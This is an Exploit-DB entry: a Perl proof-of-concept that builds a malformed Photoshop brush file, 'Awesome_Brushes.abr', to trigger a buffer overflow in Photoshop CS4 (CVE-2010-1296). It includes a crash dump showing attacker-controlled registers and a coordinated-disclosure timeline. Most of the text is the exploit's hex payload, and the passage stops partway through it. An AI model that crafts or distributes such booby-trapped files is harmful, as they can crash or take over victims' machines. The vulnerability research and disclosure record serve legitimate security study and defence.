Exploit-DB #12751
Description: Adobe Photoshop CS4 Extended 11.0 - '.ABR' File Handling Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-05-26
Author: LiquidWorm

Exploit:
#!/usr/bin/perl
#
# Title:
# Adobe Photoshop CS4 Extended 11.0 ABR File Handling Remote Buffer Overflow PoC
#
#
# Summary: The Adobe® Photoshop® family of products is the ultimate playground for
# bringing out the best in your digital images, transforming them into anything you
# can imagine and showcasing them in extraordinary ways.
#
# Description: Adobe Photoshop CS4 Extended suffers from a buffer overflow vulnerability
# when dealing with .ABR (brushes) format file. The application failz to sanitize the
# user input resulting in a memory corruption, overwriting several memory registers which
# can aid the atacker to gain the power of executing arbitrary code or denial of service.
#
# Vendor:
# Adobe Systems Incorporated
#
# Product Web Page:
# http://www.adobe.com/
#
# Current Version:
# CS4 Extended 11.0.0.0
#
# Tested On:
# Microsoft Windwos XP Professional SP3 (English)
#
#
# ---------------------------------------------------------------------------
#
# (990.bc0): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414141 ebx=0012da50 ecx=00000065 edx=0000001c esi=0000001c edi=41414141
# eip=0102af70 esp=0012d544 ebp=05640f74 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# *** Defaulted to export symbols for C:\Program Files\Adobe\Adobe Photoshop CS4\Photoshop.exe - 
# Photoshop!AIF::float4::size+0x16b480:
# 0102af70 3930            cmp     dword ptr [eax],esi  ds:0023:41414141=????????
#
# ---------------------------------------------------------------------------
#
#
# Vendor Status:
# [08.08.2009] Vendor notified.
# [10.08.2009] Vendor replied.
# [14.08.2009] Asked vendor for confirmation.
# [14.08.2009] Vendor confirms vulnerability.
# [18.05.2010] Vendor reveals patch release date.
# [26.05.2010] Coordinated public disclosure.
#
#
# Zero Science Lab Advisory ID: ZSL-2010-4940
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4940.php
# Adobe Advisory ID: APSB10-13
# Advisory: http://www.adobe.com/support/security/bulletins/apsb10-13.html
# CVE ID: CVE-2010-1296
#
#
#
# Vulnerability Discovered By:
#
# Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# Zero Science Lab - http://www.zeroscience.mk
#
# 08.08.2009
#
#


     $file="Awesome_Brushes.abr";


     $j="\x00\x06\x00\x02\x38\x42\x49\x4D\x73\x61\x6D\x70\x00\x00\x00\x00\x38\x42\x49\x4D\x70\x61\x74\x74\x00\x00\x00".
	"\x00\x38\x42\x49\x4D\x64\x65\x73\x63\x00\x00\x28\x9E\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
	"\x6E\x75\x6C\x6C\x00\x00\x00\x01\x00\x00\x00\x00\x42\x72\x73\x68\x56\x6C\x4C\x73\x00\x00\x00\x10\x4F\x62\x6A".
	"\x63\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0B\x62\x72\x75\x73\x68\x50\x72\x65\x73\x65\x74\x00\x00\x00\x0C\x00".
	"\x00\x00\x00\x4E\x6D\x20\x20\x54\x45\x58\x54\x00\x00\x00\x3E\x00\x24\x00\x24\x00\x24\x00\x2F\x00\x50\x00\x72".
	"\x00\x65\x00\x73\x00\x65\x00\x74\x00\x73\x00\x2F\x00\x42\x00\x72\x00\x75\x00\x73\x00\x68\x00\x65\x00\x73\x00".
	"\x2F\x00\x43\x00\x61\x00\x6C\x00\x6C\x00\x69\x00\x67\x00\x72\x00\x61\x00\x70\x00\x68\x00\x69\x00\x63\x00\x42".
	"\x00\x72\x00\x75\x00\x73\x00\x68\x00\x65\x00\x73\x00\x5F\x00\x61\x00\x62\x00\x72\x00\x2F\x00\x46\x00\x6C\x00".
	"\x61\x00\x74\x00\x37\x00\x70\x00\x78\x00\x3D\x00\x46\x00\x6C\x00\x61\x00\x74\x00\x20\x00\x37\x00\x20\x00\x70".
	"\x00\x78\x00\x00\x00\x00\x00\x00\x42\x72\x73\x68\x4F\x62\x6A\x63\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0D\x63".
	"\x6F\x6D\x70\x75\x74\x65\x64\x42\x72\x75\x73\x68\x00\x00\x00\x08\x00\x00\x00\x00\x44\x6D\x74\x72\x55\x6E\x74".
	"\x46\x23\x50\x78\x6C\x40\x1C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x72\x64\x6E\x55\x6E\x74\x46\x23\x50".
	"\x72\x63\x40\x59\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x6E\x67\x6C\x55\x6E\x74\x46\x23\x41\x6E\x67\x40".
	"\x46\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x6E\x64\x6E\x55\x6E\x74\x46\x23\x50\x72\x63\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x53\x70\x63\x6E\x55\x6E\x74\x46\x23\x50\x72\x63\x3F\xF0\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x49\x6E\x74\x72\x62\x6F\x6F\x6C\x01\x00\x00\x00\x05\x66\x6C\x69\x70\x58\x62\x6F\x6F\x6C".
	"\x00\x00\x00\x00\x05\x66\x6C\x69\x70\x59\x62\x6F\x6F\x6C\x00\x00\x00\x00\x0E\x75\x73\x65\x54\x69\x70\x44\x79".
	"\x6E\x61\x6D\x69\x63\x73\x62\x6F\x6F\x6C\x00\x00\x00\x00\x0A\x75\x73\x65\x53\x63\x61\x74\x74\x65\x72\x62\x6F".
	"\x6F\x6C\x00\x00\x00\x00\x09\x64\x75\x61\x6C\x42\x72\x75\x73\x68\x4F\x62\x6A\x63\x00\x00\x00\x01\x00\x00\x00".
	"\x00\x00\x09\x64\x75\x61\x6C\x42\x72\x75\x73\x68\x00\x00\x00\x01\x00\x00\x00\x0C\x75\x73\x65\x44\x75\x61\x6C".
	"\x42\x72\x75\x73\x68\x62\x6F\x6F\x6C\x00\x00\x00\x00\x0A\x62\x72\x75\x73\x68\x47\x72\x6F\x75\x70\x4F\x62\x6A".
	"\x63\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0A\x62\x72\x75\x73\x68\x47\x72\x6F\x75\x70\x00\x00\x00\x01\x00\x00".
	"\x00\x0D\x75\x73\x65\x42\x72\x75\x73\x68\x47\x72\x6F\x75\x70\x62\x6F\x6F\x6C\x00\x00\x00\x00\x0A\x75\x73\x65".
	"\x54\x65\x78\x74\x75\x72\x65\x62\x6F\x6F\x6C\x00\x00\x00\x00\x10\x75\x73\x65\x50\x61\x69\x6E\x74\x44\x79\x6E".
	"\x61\x6D\x69\x63\x73\x62\x6F\x6F\x6C\x00\x00\x00\x00\x10\x75\x73\x65\x43\x6F\x6C\x6F\x72\x44\x79\x6E\x61\x6D".
	"\x69\x63\x73\x62\x6F\x6F\x6C\x00\x00\x00\x00\x00\x57\x74\x64\x67\x62\x6F\x6F\x6C\x00\x00\x00\x00\x00\x4E\x6F".
	"\x73\x65\x62\x6F\x6F\x6C\x00\x00\x00\x00\x00\x52\x70\x74\x20\x62\x6F\x6F\x6C\x00\x4F\x62\x6A\x63\x00\x00\x00".
	"\x01\x00\x00\x00\x00\x00\x0B\x62\x72\x75\x73\x68\x50\x72\x65\x73\x65\x74\x00\x00\x00\x0C\x00\x00\x00\x00\x4E".
	"\x6D\x20\x20\x54\x45\x58\x54\x00\x00\x00\x40\x00\x24\x00\x24\x00\x24\x00\x2F\x00\x50\x00\x72\x00\x65\x00\x73".
	"\x00\x65\x00\x74\x00\x73\x00\x2F\x00\x42\x00\x72\x00\x75\x00\x73\x00\x68\x00\x65\x00\x73\x00\x2F\x00\x43\x00".
	"\x61\x00\x6C\x00\x6C\x00\x69\x00\x67\x00\x72\x00\x61\x00\x70\x00\x68\x00\x69\x0